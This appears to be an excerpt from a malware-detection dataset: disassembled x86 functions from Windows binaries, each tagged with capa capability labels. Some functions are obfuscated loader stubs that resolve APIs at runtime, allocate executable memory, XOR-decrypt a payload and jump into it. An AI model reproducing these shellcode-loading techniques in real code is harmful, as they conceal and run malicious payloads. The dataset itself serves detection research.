joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100d5990
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100f1a08
mov eax, dword fs:[0]
push eax
sub esp, 0x48
mov eax, dword [0x101040b4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [0x1013b51c]
mov edi, dword [esi + 0x174]
test edi, edi
setg byte [ebp - 0x14]
cmp dword [0x10122f08], 4
jne 0x100d59f9
mov edx, dword [esi + 0x4cb0]
add edx, dword [esi + 0x4cac]
mov ecx, dword [0x1013b4c4]
push edx
push dword [esi + 0x4cb4]
mov eax, dword [ecx]
push dword [ebp - 0x14]
push edi
mov eax, dword [eax + 0xc]
call eax
cmp byte [0x10140904], 0
jne 0x100d5b2c
movaps xmm0, xmmword [0x100f8460]
xor eax, eax
movaps xmm2, xmmword [0x100f8660]
movups xmmword [ebp - 0x3c], xmm0
mov word [ebp - 0x1c], 0x6065
movaps xmm0, xmmword [0x100f8350]
movups xmmword [ebp - 0x2c], xmm0
mov byte [ebp - 0x1a], 0x23
nop
movups xmm0, xmmword [ebp + eax - 0x3c]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [ebp + eax - 0x3c], xmm1
add eax, 0x10
cmp eax, 0x20
jb 0x100d5a30
cmp eax, 0x23
jae 0x100d5a5b
nop
xor byte [ebp + eax - 0x3c], 0x23
inc eax
cmp eax, 0x23
jb 0x100d5a50
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x40], 0xf
lea edx, [ecx + 1]
mov byte [ebp - 0x54], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100d5a73
sub ecx, edx
lea eax, [ebp - 0x3c]
push ecx
push eax
lea ecx, [ebp - 0x54]
call fcn.10025140
mov dword [ebp - 4], 0
mov edx, dword [0x1013b470]
test edx, edx
je 0x100d5a9f
mov edx, dword [edx + 0x50]
jmp 0x100d5aa1
xor edx, edx
mov eax, dword [0x1013b468]
test eax, eax
je 0x100d5aaf
mov eax, dword [eax + 0x18]
jmp 0x100d5ab1
xor eax, eax
lea ecx, [ebp - 0x54]
push ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.1004a960
mov edi, dword [ebp - 0x18]
add esp, 8
mov edx, dword [ebp - 0x40]
inc edi
cmp edx, 0x10
jb 0x100d5afb
mov ecx, dword [ebp - 0x54]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100d5af1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x100d5af1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.100e7cba
add esp, 8
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0x14]
push eax
push 0x40
push 4
push edi
mov dword [ebp - 0x14], 0
call esi
lea eax, [ebp - 0x14]
mov dword [edi], 0x3e
push eax
push dword [ebp - 0x14]
push 4
push edi
call esi
mov byte [0x10140904], 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100e7827
mov esp, ebp
pop ebp
ret
Function at 0x100e6540
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
mov esi, ecx
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0xc], esi
mov edx, dword [esi + 0xc]
movzx eax, byte [edi]
xor eax, 0x811c9dc5
imul ecx, eax, 0x1000193
movzx eax, byte [edi + 1]
xor ecx, eax
movzx eax, byte [edi + 2]
imul ecx, ecx, 0x1000193
xor ecx, eax
movzx eax, byte [edi + 3]
imul ecx, ecx, 0x1000193
xor ecx, eax
imul eax, ecx, 0x1000193
mov ecx, dword [esi + 0x18]
mov esi, dword [esi + 4]
and ecx, eax
mov ebx, dword [edx + ecx*8]
mov eax, ebx
lea edx, [edx + ecx*8]
cmp ebx, esi
jne 0x100e659e
mov ecx, esi
jmp 0x100e65a3
mov ecx, dword [edx + 4]
mov ecx, dword [ecx]
cmp eax, ecx
je 0x100e65b6
mov ecx, dword [eax + 8]
cmp ecx, dword [edi]
je 0x100e65b2
mov eax, dword [eax]
jmp 0x100e6596
cmp eax, esi
jne 0x100e660b
mov esi, dword [esi]
lea eax, [ebp - 8]
push ecx
push eax
push ecx
mov dword [ebp - 8], edi
mov edi, dword [esi + 4]
push edi
push esi
call fcn.100e7300
mov edx, dword [ebp - 0xc]
mov ebx, eax
mov ecx, 0xffffffe
mov eax, dword [edx + 8]
sub ecx, eax
cmp ecx, 1
jae 0x100e65ea
push str.list_T__too_long
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xlength_error_char_const__]
inc eax
mov ecx, edx
mov dword [edx + 8], eax
mov dword [esi + 4], ebx
mov dword [edi], ebx
mov eax, dword [edx + 4]
mov eax, dword [eax]
push eax
add eax, 8
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.100337e0
mov eax, dword [ebp - 0x10]
pop edi
pop esi
add eax, 0xc
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x100e70e0
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
mov dword [ebp - 8], esi
mov edx, dword [esi + 0xc]
movzx eax, byte [edi]
xor eax, 0x811c9dc5
imul ecx, eax, 0x1000193
movzx eax, byte [edi + 1]
xor ecx, eax
movzx eax, byte [edi + 2]
imul ecx, ecx, 0x1000193
xor ecx, eax
movzx eax, byte [edi + 3]
imul ecx, ecx, 0x1000193
xor ecx, eax
imul eax, ecx, 0x1000193
mov ecx, dword [esi + 0x18]
mov esi, dword [esi + 4]
and ecx, eax
mov eax, dword [edx + ecx*8]
lea ecx, [ecx*8 + 4]
add ecx, edx
mov edx, eax
mov dword [ebp - 4], ecx
cmp edx, esi
jne 0x100e714a
mov ecx, esi
jmp 0x100e714e
mov ecx, dword [ecx]
mov ecx, dword [ecx]
cmp eax, ecx
je 0x100e7175
mov ecx, dword [eax + 8]
cmp ecx, dword [edi]
je 0x100e7160
mov eax, dword [eax]
mov ecx, dword [ebp - 4]
jmp 0x100e7142
cmp eax, esi
je 0x100e7175
pop edi
mov dword [ebx], eax
mov eax, ebx
pop esi
mov byte [ebx + 4], 0
pop ebx
mov esp, ebp
pop ebp
ret 8
mov esi, dword [esi]
lea eax, [ebp - 4]
push ecx
push eax
push ecx
mov dword [ebp - 4], edi
mov edi, dword [esi + 4]
push edi
push esi
call fcn.100e7300
mov edx, eax
mov ecx, 0xffffffe
mov eax, dword [ebp - 8]
mov eax, dword [eax + 8]
sub ecx, eax
cmp ecx, 1
jae 0x100e71a9
push str.list_T__too_long
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xlength_error_char_const__]
mov ecx, dword [ebp - 8]
inc eax
mov dword [ecx + 8], eax
mov dword [esi + 4], edx
mov dword [edi], edx
mov eax, dword [ecx + 4]
mov eax, dword [eax]
push eax
add eax, 8
push eax
push ebx
call fcn.100337e0
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x1000537f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x1000538e
pop dword [ebp - 0x20]
mov eax, 0xf1af711c
sub eax, 0xe1af1d8e
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0x694c70f9
sub dword [ebp - 0x30], 0x1afa2bae
mov dword [ebp - 0x2c], 0x8a873b54
add dword [ebp - 0x2c], 0xa7ac10f1
mov dword [ebp - 0x28], 0xc5c9abfc
add dword [ebp - 0x28], 0x86829832
mov dword [ebp - 0x24], 0x9a98ca6a
sub dword [ebp - 0x24], 0x9a98ca6a
lea eax, [ebp - 0x30]
push eax
mov eax, 0xea415178
sub eax, 0xda414120
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0x2133ac6d
sub dword [ebp - 0x30], 0xacc14317
mov dword [ebp - 0x2c], 0x690fcce0
add dword [ebp - 0x2c], 0xd85c9495
mov dword [ebp - 0x28], 0x27632e8b
sub dword [ebp - 0x28], 0xc3f3c21f
mov dword [ebp - 0x24], 0x88a052f3
add dword [ebp - 0x24], 0x775fad0d
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, 0x1c11f3fd
add eax, 0xf3ee1c0b
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x3a4c4
push 0
call eax
mov ecx, 0xfa289bdd
sub ecx, 0xfa284d80
xor esi, esi
add esi, eax
mov edx, 0x70cab03a
add edx, 0x9f3771c6
add edx, dword [ebp - 0x20]
mov ebx, 0xcc1aa00c
add dword [ebp - 0x10], 0x75c2259e
mov edi, dword [edx]
mov dword [ebp - 4], 0x339038db
xor edi, ebx
mov dword [esi], edi
xor dword [ebp - 0x18], ebx
add esi, 0x38774dd1
sub esi, 0x38774dcd
add edx, 0x760407e5
add edx, 0x89fbf81f
loop 0x100054ac
add eax, 0xb410578d
sub eax, 0xb40f2b46
mov ebx, eax
add eax, 0x16dcd270
add eax, 0xe9232d95
mov ecx, 0x10000000
add ecx, dword [ebp - 0x20]
call ebx
leave
ret

Function at 0x1000cdef
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100024d0]
jne 0x1000d4b4
ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x328
mov dword [0x10011e48], eax
mov dword [0x10011e44], ecx
mov dword [0x10011e40], edx
mov dword [0x10011e3c], ebx
mov dword [0x10011e38], esi
mov dword [0x10011e34], edi
mov word [0x10011e60], ss
mov word [0x10011e54], cs
mov word [0x10011e30], ds
mov word [0x10011e2c], es
mov word [0x10011e28], fs
mov word [0x10011e24], gs
pushfd
pop dword [0x10011e58]
mov eax, dword [ebp]
mov dword [0x10011e4c], eax
mov eax, dword [ebp + 4]
mov dword [0x10011e50], eax
lea eax, [ebp + 8]
mov dword [0x10011e5c], eax
mov eax, dword [ebp - 0x320]
mov dword [0x10011d98], 0x10001
mov eax, dword [0x10011e50]
mov dword [0x10011d4c], eax
mov dword [0x10011d40], 0xc0000409
mov dword [0x10011d44], 1
mov eax, dword [0x100024d0]
mov dword [ebp - 0x328], eax
mov eax, dword [0x10011c40]
mov dword [ebp - 0x324], eax
call dword [sym.imp.kernel32.dll_IsDebuggerPresent]
mov dword [0x10011d90], eax
push 1
call sub.MSVCR100.dll__crt_debugger_hook
pop ecx
push 0
call dword [sym.imp.kernel32.dll_SetUnhandledExceptionFilter]
push 0x100024e0
call dword [sym.imp.kernel32.dll_UnhandledExceptionFilter]
cmp dword [0x10011d90], 0
jne 0x1000d5a0
push 1
call sub.MSVCR100.dll__crt_debugger_hook
pop ecx
push 0xc0000409
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
leave
ret
Function at 0x6d01378d
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x9c]
sub esp, 0x11c
mov eax, dword [0x6d030030]
xor eax, ebp
mov dword [ebp + 0x98], eax
mov eax, dword [ebp + 0xa4]
push ebx
push esi
push edi
mov edi, dword [sym.imp.advapi32.dll_RegEnumKeyA]
mov esi, 0x104
push esi
lea ecx, [ebp - 0x6c]
push ecx
xor ebx, ebx
mov dword [ebp - 0x80], eax
mov eax, dword [ebp + 0xa8]
push ebx
push eax
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], ebx
call edi
test eax, eax
jne 0x6d013830
mov eax, dword [ebp - 0x80]
push dword [eax + 8]
inc dword [ebp - 0x74]
lea eax, [ebp - 0x6c]
push eax
call fcn.6d019f14
pop ecx
pop ecx
test eax, eax
je 0x6d013819
test ebx, ebx
je 0x6d01380d
lea eax, [ebp - 0x6c]
push ebx
push eax
call fcn.6d019f14
pop ecx
pop ecx
test eax, eax
jle 0x6d013819
push ebx
call fcn.6d015895
pop ecx
lea eax, [ebp - 0x6c]
push eax
call fcn.6d015874
pop ecx
mov ebx, eax
push esi
lea eax, [ebp - 0x6c]
push eax
push dword [ebp - 0x74]
push dword [ebp - 0x78]
call edi
test eax, eax
je 0x6d0137da
xor edi, edi
cmp ebx, edi
jne 0x6d013834
xor eax, eax
jmp 0x6d0138a0
lea eax, [ebp - 0x70]
push eax
push 0x20019
push edi
push ebx
push dword [ebp - 0x78]
call dword [sym.imp.advapi32.dll_RegOpenKeyExA]
push ebx
test eax, eax
je 0x6d013863
call fcn.6d015895
pop ecx
cmp dword [ebp - 0x70], edi
je 0x6d013830
push dword [ebp - 0x70]
call dword [sym.imp.advapi32.dll_RegCloseKey]
jmp 0x6d013830
call fcn.6d015895
pop ecx
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x6c]
push eax
push edi
push edi
push str.JavaHome
push dword [ebp - 0x70]
mov dword [ebp - 0x7c], esi
call dword [sym.imp.advapi32.dll_RegQueryValueExA]
test eax, eax
jne 0x6d013853
cmp dword [ebp - 0x70], edi
je 0x6d013896
push dword [ebp - 0x70]
call dword [sym.imp.advapi32.dll_RegCloseKey]
lea eax, [ebp - 0x6c]
push eax
call fcn.6d015874
pop ecx
mov ecx, dword [ebp + 0x98]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.6d018259
add ebp, 0x9c
leave
ret
Function at 0x6d01555d
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
lea ebp, [esp - 0x214]
sub esp, 0x294
mov eax, dword [0x6d030030]
xor eax, ebp
mov dword [ebp + 0x210], eax
mov eax, dword [ebp + 0x21c]
push ebx
push esi
push edi
push 0x10
pop edi
mov dword [ebp - 0x78], eax
call fcn.6d0153ca
push 8
mov esi, eax
call fcn.6d01582d
mov ebx, eax
pop ecx
lea eax, [ebp + 0xd0]
push eax
push dword [ebp - 0x78]
mov dword [ebp - 0x80], ebx
call dword [sym.imp.kernel32.dll_FindFirstFileA]
cmp eax, 0xffffffff
je 0x6d0155c8
mov dword [ebx], eax
lea eax, [ebp + 0xfc]
mov dword [ebx + 4], eax
mov edi, dword [ebx + 4]
test edi, edi
je 0x6d0155cf
and dword [ebx + 4], 0
jmp 0x6d0155e4
xor eax, eax
jmp 0x6d0156af
lea eax, [ebp - 0x70]
push eax
push dword [ebx]
call dword [sym.imp.kernel32.dll_FindNextFileA]
neg eax
sbb edi, edi
lea eax, [ebp - 0x44]
and edi, eax
test edi, edi
je 0x6d015695
push edi
call fcn.6d017a10
pop ecx
cmp eax, 4
jl 0x6d0155bb
add eax, edi
cmp byte [eax - 4], 0x2e
jne 0x6d0155bb
add eax, 0xfffffffd
push 0x6d02982c
push eax
mov dword [ebp - 0x74], eax
call fcn.6d018270
pop ecx
pop ecx
test eax, eax
je 0x6d01562a
push 0x6d029828
push dword [ebp - 0x74]
call fcn.6d018270
pop ecx
pop ecx
test eax, eax
jne 0x6d0155bb
push 0x3b
push edi
call fcn.6d0193f0
pop ecx
pop ecx
test eax, eax
jne 0x6d0155bb
push dword [ebp - 0x78]
call fcn.6d017a10
push edi
mov ebx, eax
call fcn.6d017a10
mov dword [ebp - 0x74], eax
add eax, ebx
push eax
call fcn.6d01582d
lea ecx, [ebx - 1]
push ecx
push dword [ebp - 0x78]
mov dword [ebp - 0x7c], eax
push eax
call fcn.6d019f14
mov eax, dword [ebp - 0x74]
inc eax
push eax
push edi
mov edi, dword [ebp - 0x7c]
lea eax, [edi + ebx - 1]
push eax
call fcn.6d019f14
mov ecx, dword [esi + 4]
add esp, 0x24
inc ecx
call fcn.6d015420
mov eax, dword [esi + 4]
mov ecx, dword [esi]
mov ebx, dword [ebp - 0x80]
mov dword [ecx + eax*4], edi
inc dword [esi + 4]
jmp 0x6d0155bb
push dword [ebx]
call dword [sym.imp.kernel32.dll_FindClose]
push dword [ebx + 4]
call fcn.6d015895
push ebx
call fcn.6d015895
pop ecx
pop ecx
mov eax, esi
mov ecx, dword [ebp + 0x210]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.6d018259
add ebp, 0x214
leave
ret

Function at 0x6d018259
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x6d030030]
jne 0x6d018263
repz ret
jmp fcn.6d01e721
Function at 0x6d019f14
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x6d019f23
pop dword [ebp - 0x20]
mov eax, 0x9d8b172a
add eax, 0xcf7687f9
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0xfbe677f7
add dword [ebp - 0x30], 0x526bcd54
mov dword [ebp - 0x2c], 0x710d525c
sub dword [ebp - 0x2c], 0x3eda0617
mov dword [ebp - 0x28], 0x29e61599
add dword [ebp - 0x28], 0x22662e95
mov dword [ebp - 0x24], 0x868daabf
sub dword [ebp - 0x24], 0x868daabf
lea eax, [ebp - 0x30]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0x673bfba4
sub dword [ebp - 0x30], 0xf2c9924e
mov dword [ebp - 0x2c], 0xfe435de
sub dword [ebp - 0x2c], 0xce77d469
mov dword [ebp - 0x28], 0xbe3963ec
add dword [ebp - 0x28], 0xa5360880
mov dword [ebp - 0x24], 0x8597202f
add dword [ebp - 0x24], 0x7a68dfd1
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, 0xcf41f7a7
add eax, 0x9dc088a5
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x3c875
push 0
call eax
mov ecx, 0x4882
mov esi, eax
mov edx, 0xbbb1f026
add edx, 0xb15177da
add edx, dword [ebp - 0x20]
mov ebx, 0xd9583829
sub ebx, 0x60fe714d
add dword [ebp - 0x14], 0xd7cfd86e
mov edi, dword [edx]
sub dword [ebp - 0x1c], ebx
xor edi, ebx
sub dword [ebp - 0x18], 0x3fed2b97
mov dword [esi], edi
sub dword [ebp - 0xc], 0xaaccc855
add esi, 0x3913e516
add esi, 0xc6ec1aee
add edx, 0x896655fe
add edx, 0x7699aa06
loop 0x6d01a03a
add eax, 0x9e77caa9
sub eax, 0x9e76b5ce
xor ebx, ebx
add ebx, eax
add eax, 0x8c6650a4
sub eax, 0x8c66509f
mov ecx, 0x6d010000
add ecx, dword [ebp - 0x20]
call ebx
leave
ret
Function at 0x403f50
Capabilities:
Set current directory

Disassembly:
push ecx
mov al, byte [esp + 8]
mov byte [esp + 3], dl
mov edx, ecx
push ebx
mov ebx, dword [0x4e498c]
test al, al
je 0x403f78
inc dword [0x4e7938]
add ebx, 0xe8
mov dword [0x4e498c], ebx
mov ecx, 0x3a
push esi
mov esi, 0x4e7838
push edi
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
mov dword [ebx + 0x2c], edx
pop edi
pop esi
test al, al
je 0x403f9d
push 0
mov ecx, 0x4e9a70
call fcn.0042b940
cmp dword [0x4e794c], 0
xorps xmm0, xmm0
movlpd qword [0x4ea0b0], xmm0
je 0x403fcd
mov eax, dword [0x4e6378]
mov ecx, 0x4d0335
test eax, eax
je 0x403fc6
mov eax, dword [eax]
test eax, eax
cmovne ecx, eax
push ecx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
cmp byte [esp + 7], 0
jne 0x404050
mov cl, byte [ebx + 0xce]
test cl, cl
jne 0x404002
cmp byte [esp + 0x10], 0x65
sete cl
mov byte [ebx + 0xce], cl
jne 0x404002
mov dword [ebx], 0xffffffff
mov dword [ebx + 4], 0xffffffff
mov dword [ebx + 0x24], 0xffffffff
cmp dword [0x4ea0bc], 0
je 0x404014
cmp dword [0x4ea0b8], 0
jne 0x404018
test cl, cl
je 0x404050
mov byte [ebx + 0xcc], 0
test cl, cl
jne 0x404050
cmp dword [0x4ea0bc], 0
jge 0x404039
mov dword [ebx + 0xc0], 0xffffffff
pop ebx
pop ecx
ret
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebx + 0xbc], eax
mov eax, dword [0x4ea0bc]
mov dword [ebx + 0xc0], eax
pop ebx
pop ecx
ret
Function at 0x405bc0
Capabilities:
Write clipboard data

Disassembly:
push esi
mov esi, ecx
cmp dword [esi + 0x18], 0
jne 0x405be2
call fcn.00405f00
test eax, eax
jne 0x405be2
push str.Cant_open_clipboard_for_writing.
mov ecx, esi
call fcn.00405d00
pop esi
ret 4
call dword [sym.imp.USER32.dll_EmptyClipboard]
test eax, eax
jne 0x405c28
cmp dword [esi + 0x18], eax
je 0x405c18
cmp dword [esi + 8], eax
je 0x405c05
push dword [esi]
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov dword [esi + 8], 0
call dword [sym.imp.USER32.dll_CloseClipboard]
mov dword [esi + 0x18], 0
mov dword [esi], 0
push 0x4d073c
mov ecx, esi
call fcn.00405d00
pop esi
ret 4
mov eax, dword [esi + 4]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GlobalUnlock]
test eax, eax
je 0x405c76
mov ecx, dword [esi + 0xc]
push ebx
xor bl, bl
test ecx, ecx
je 0x405c67
cmp dword [esp + 0x10], 0xd
jne 0x405c4d
cmp word [ecx], 0
jmp 0x405c50
cmp byte [ecx], 0
push eax
sete bl
call edi
mov eax, dword [esi + 4]
mov dword [esi + 0xc], 0
mov dword [esi + 0x14], 0
test bl, bl
pop ebx
push eax
je 0x405caa
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov dword [esi + 4], eax
cmp dword [esi + 0x18], 0
je 0x405ca0
cmp dword [esi + 8], 0
je 0x405c8d
push dword [esi]
call edi
mov dword [esi + 8], 0
call dword [sym.imp.USER32.dll_CloseClipboard]
mov dword [esi + 0x18], 0
mov dword [esi], 0
pop edi
mov eax, 1
pop esi
ret 4
push dword [esp + 0x10]
call dword [sym.imp.USER32.dll_SetClipboardData]
test eax, eax
je 0x405cc1
mov dword [esi + 4], 0
jmp 0x405c76
cmp dword [esi + 0x18], 0
je 0x405ceb
cmp dword [esi + 8], 0
je 0x405cd8
push dword [esi]
call edi
mov dword [esi + 8], 0
call dword [sym.imp.USER32.dll_CloseClipboard]
mov dword [esi + 0x18], 0
mov dword [esi], 0
push 0x4d074c
mov ecx, esi
call fcn.00405d00
pop edi
pop esi
ret 4

Function at 0x405df0
Capabilities:
Read clipboard data

Disassembly:
sub esp, 0x108
push esi
mov esi, dword [esp + 0x114]
push edi
test esi, esi
je 0x405e09
mov dword [esi], 0
mov edi, dword [esp + 0x114]
lea eax, [edi - 0xc000]
cmp eax, 0x3fff
ja 0x405ee9
push 0x104
lea eax, [esp + 0xc]
push eax
push edi
call dword [sym.imp.USER32.dll_GetClipboardFormatNameA]
push 0xb
lea eax, [esp + 0xc]
push str.Link_Source
push eax
call fcn.004b2c54
add esp, 0xc
test eax, eax
je 0x405edc
lea eax, [esp + 8]
push str.ObjectLink
push eax
call fcn.004b218a
add esp, 8
test eax, eax
je 0x405edc
lea eax, [esp + 8]
push str.OwnerLink
push eax
call fcn.004b218a
add esp, 8
test eax, eax
je 0x405edc
lea eax, [esp + 8]
push str.Native
push eax
call fcn.004b218a
add esp, 8
test eax, eax
je 0x405edc
lea eax, [esp + 8]
push str.Embed_Source
push eax
call fcn.004b218a
add esp, 8
test eax, eax
je 0x405edc
lea eax, [esp + 8]
push str.MSDEVColumnSelect
push eax
call fcn.004b218a
add esp, 8
test eax, eax
je 0x405ed2
lea eax, [esp + 8]
push str.MSDEVLineSelect
push eax
call fcn.004b218a
add esp, 8
test eax, eax
jne 0x405eee
test esi, esi
je 0x405edc
mov dword [esi], 1
pop edi
xor eax, eax
pop esi
add esp, 0x108
ret 8
mov byte [esp + 8], 0
push edi
call dword [sym.imp.USER32.dll_GetClipboardData]
pop edi
pop esi
add esp, 0x108
ret 8
Function at 0x405f00
Capabilities:
Check for time delay via gettickcount
Open clipboard

Disassembly:
push ebx
mov ebx, ecx
cmp dword [ebx + 0x18], 0
je 0x405f10
mov eax, 1
pop ebx
ret
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
push edi
call esi
push dword [0x4e7950]
mov edi, dword [sym.imp.USER32.dll_OpenClipboard]
mov ebp, eax
call edi
test eax, eax
jne 0x405f7e
nop
mov eax, dword [0x4e4998]
cmp eax, 0xffffffff
je 0x405f4f
test eax, eax
je 0x405f8f
call esi
mov ecx, dword [0x4e4998]
add ecx, ebp
sub ecx, eax
cmp ecx, 5
jle 0x405f8f
mov edx, 1
mov dword [0x4e4984], 0
mov ecx, 0x8000012f
call fcn.00401a30
push dword [0x4e7950]
mov dword [0x4e4984], 1
call edi
test eax, eax
je 0x405f30
pop edi
pop esi
pop ebp
mov dword [ebx + 0x18], 1
mov eax, 1
pop ebx
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
Function at 0x4061d0
Capabilities:
Resolve dns

Disassembly:
sub esp, 0x81c
push ebx
push ebp
push esi
push edi
push 0x401
lea eax, [esp + 0x28]
mov dword [esp + 0x1c], edx
mov ebx, ecx
mov dword [esp + 0x14], 0
push 0
push eax
mov dword [esp + 0x28], ebx
call fcn.004afdf0
push 0x401
lea eax, [esp + 0x438]
push 0
push eax
call fcn.004afdf0
push 0x400
push ebx
lea eax, [esp + 0x44]
push 0x401
push eax
mov dword [esp + 0x3c], eax
lea ebp, [esp + 0x450]
call fcn.004b7dbb
add esp, 0x28
mov eax, dword [esp + 0x83c]
mov edi, eax
push ebx
mov byte [ebp], 0
mov dword [eax], 0
call dword [sym.imp.WSOCK32.dll_gethostbyname]
mov ebx, eax
test ebx, ebx
je 0x4063b0
cmp word [ebx + 8], 2
jne 0x40629f
cmp word [ebx + 0xa], 4
jne 0x40629f
mov esi, dword [ebx + 0xc]
mov eax, dword [esi]
test eax, eax
je 0x40629f
nop
push dword [eax]
mov edx, dword [esp + 0x834]
push dword [esp + 0x838]
mov ecx, dword [esp + 0x20]
call fcn.00406150
mov dword [edi], eax
test eax, eax
je 0x406337
add esi, 4
lea edi, [eax + 0x1c]
mov eax, dword [esi]
test eax, eax
jne 0x406270
push 0x400
push dword [ebx]
push 0x401
push ebp
call fcn.004b7dbb
mov eax, dword [esp + 0x84c]
xor esi, esi
add esp, 0x10
cmp dword [eax], esi
jne 0x40634b
mov ecx, ebp
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4062d0
sub ecx, edx
je case.0x4063c0.11003
mov ebx, dword [esp + 0x14]
mov eax, ebp
mov ecx, ebx
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x406307
test dl, dl
je 0x406303
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x406307
add ecx, 2
add eax, 2
test dl, dl
jne 0x4062e7
xor eax, eax
jmp 0x40630c
sbb eax, eax
or eax, 1
test eax, eax
je case.0x4063c0.11003
mov esi, dword [esp + 0x10]
inc esi
mov dword [esp + 0x10], esi
cmp esi, 0x10
je case.0x4063c0.11003
mov eax, ebx
mov dword [esp + 0x14], ebp
mov ebx, dword [esp + 0x1c]
mov ebp, eax
jmp 0x406234
mov esi, 8
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x81c
ret 0x10
cmp dword [esp + 0x838], esi
je 0x4063f4
mov ecx, ebp
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x406360
sub ecx, edx
lea ebx, [ecx + 1]
push ebx
push 1
call fcn.004b7ca5
mov edi, eax
add esp, 8
test edi, edi
je 0x406388
push ebp
push ebx
push edi
call fcn.004b7cb0
add esp, 0xc
mov ecx, dword [esp + 0x83c]
mov eax, dword [ecx]
mov dword [eax + 0x14], edi
mov eax, dword [ecx]
mov ecx, 8
pop edi
cmp dword [eax + 0x14], esi
cmove esi, ecx
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x81c
ret 0x10
call dword [sym.imp.WSOCK32.dll_WSAGetLastError]
add eax, 0xffffd507
cmp eax, 3
ja case.0x4063c0.11001
jmp dword [eax*4 + 0x406404]
mov esi, 0x2afa
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x81c
ret 0x10
mov esi, 0x2afb
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x81c
ret 0x10
mov esi, 0x2af9
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x81c
ret 0x10